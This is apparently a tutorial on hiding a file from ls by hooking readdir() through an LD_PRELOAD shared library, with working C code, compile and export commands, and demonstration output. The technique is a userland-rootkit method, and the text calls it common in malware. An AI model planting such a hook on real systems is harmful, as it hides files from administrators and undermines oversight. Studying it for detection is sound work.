Hiding Files In Linux with C Programming!

When it comes to hiding files in Linux, we all are familiar with the common method of adding a dot before a file name to hide it from commands like ls. However, it was very easy to view those hidden files; a simple ls -a would display all the hidden files. However, in this module, we would look to write some code in C to completely hide our files from ls.

How Does ls actually work?

From the source code of the ls binary, we can see that it uses the function readdir() function to read the directory contents which in turn invokes the getdents() to read the contents of a directory. You can even verify this with :

$ strace /bin/ls
...
getdents64(3, 0x555e4d96f400 /* 42 entries */, 32768) = 1328
getdents64(3, 0x555e4d96f400 /* 0 entries */, 32768) = 0
...

Note: getdents64() is very similar to the getdents() function which deals with large file systems and large file offsets.

The readdir() Function

Looking at the definition of readdir() from the man pages, we can see :

struct dirent *readdir(DIR *dirp);

Thus, the readdir() function returns a pointer to a dirent structure representing the next directory entry. The glibc definition of dirent is :

struct dirent {
               ino_t          d_ino;       /* Inode number */
               off_t          d_off;       /* Not an offset; see below */
               unsigned short d_reclen;    /* Length of this record */
               unsigned char  d_type;      /* Type of file; not supported
                                              by all filesystem types */
               char           d_name[256]; /* Null-terminated filename */
           }

The main parameter of interest here id char d_name[256] which contains the file name

Now to hide a file from ls, we’ll do something known as process hooking through LD_PRELOAD

Writing Our C Code for Hiding Files In Linux

For process hooking, we need to define a malicious function readdir() with the same list of parameters as the original one and then export our shared library to the LD_PRELOAD environment variable so that it is loaded before other shared objects when called by executables.

First, let’s list the code we are going to use to create our shared library

#include <dlfcn.h>
#include <dirent.h>
#include <string.h>

#define FILENAME "secret.txt"

struct dirent *(*original_readdir)(DIR *);
struct dirent *readdir(DIR *dirp) 
{
    struct dirent *ret;
    
    original_readdir = dlsym (RTLD_NEXT, "readdir");
    while((ret = original_readdir(dirp)))
    {
        if(strstr(ret->d_name,FILENAME) == 0 ) 
        	break;
    }
    return ret;
}

Let’s break the code into segments :

  • Lines 1-3: Header files which contain the definition of various functions used throughout the program :
    • dirent.h: It has the definition of the direct structure
    • dlfcn.h: It has the definition of the function dlsym()
    • string.h: It has the definition of the function strstr()
  • Line 5: We define a macro that contains the name of the file we want to hide
  • Line 7: This line contains a function definition with the same return type and same parameter list as the original readdir() function. In fact, we would use this later to point to the real readdir() function.
  • Line 8: Here we define a function with the same function definition as the original function. This is the function that will be called by a command like ls after our shared library has been exported to be preloaded.
  • Line 10: We define a pointer to a dirent structure.
  • Line 12: Here we actually initialize the pointer we declared in Line 7 with dlsym() which returns the address of the next occurrence(signified by the flag RTDL_NEXT) of the function readdir() so that original_readdir now points to the original readdir() function.
  • Lines 13-18: Here we create a loop to iterate over the values returned by the original readdir() function. It examines the d_name parameter of the returned dirent structure and if it has the string specified in our macro, then it skips over to the next value, else returns the dirent structure.

To sum it up, we are examining the values returned by the original function and if we find the name of our file there, we skip it.

Compiling And Exporting Our Shared Object

Once we have our program is ready, we need to compile it as such :

$ gcc malicious.c -fPIC -shared -D_GNU_SOURCE -o hidefile.so -ldl

Breaking down the statement we have :

  • gcc : Our very own GNU Compiler Collection
  • malicious.c : The name of our program
  • -fPIC : Generate position-independent code
  • shared : Create a Shared Object which can be linked with other objects to produce an executable
  • -D_GNU_SOURCE : It is specified to satisfy #ifdef conditions that allow us to use the RTLD_NEXT enum. Optionally this flag can be replaced by adding #define _GNU_SOURCE
  • -o : Create an output file
  • hidefile.so : Name of output file
  • -ldl : Link against libdl

For our test purposes let’s create a file which we would hide with :

$ echo 'Secret Text' > secret.txt

Now, if we do an ls -a , we get :

$ ls -a
.
..
secret.txt
malicious.c
hidefile.so

Now, export the shared object to LD_PRELOAD with :

$ export LD_PRELOAD=./hidefile.so

Now we can verify if our shared object has been loaded with :

$ ldd /bin/ls
linux-vdso.so.1 (0x00007ffee5c44000)
	./hidefile.so (0x00007fb4b304f000)
	libcap.so.2 => /usr/lib/libcap.so.2 (0x00007fb4b3014000)
	libc.so.6 => /usr/lib/libc.so.6 (0x00007fb4b2e47000)
	libdl.so.2 => /usr/lib/libdl.so.2 (0x00007fb4b2e40000)
	/lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007fb4b307b000)

As we can see, our shared object has been preloaded and hence it would be loaded before any other shared object. Hence if we do an ls -a now :

$ ls -a
.
..
malicious.c
hidefile.so

Hence we have successfully hidden our file from ls ! You can still access the contents of the file while it stays hidden like :

$ cat secret.txt
Secret Text

To go back to the usual just remove the shared library from LD_PRELOAD with :

$ export LD_PRELOAD=

Conclusion

This method works best on servers and on CLI interfaces as GUI file managers still list the files. This method is very common in Linux Rootkits and is often employed to hide malicious files (mostly the malware itself) from the user.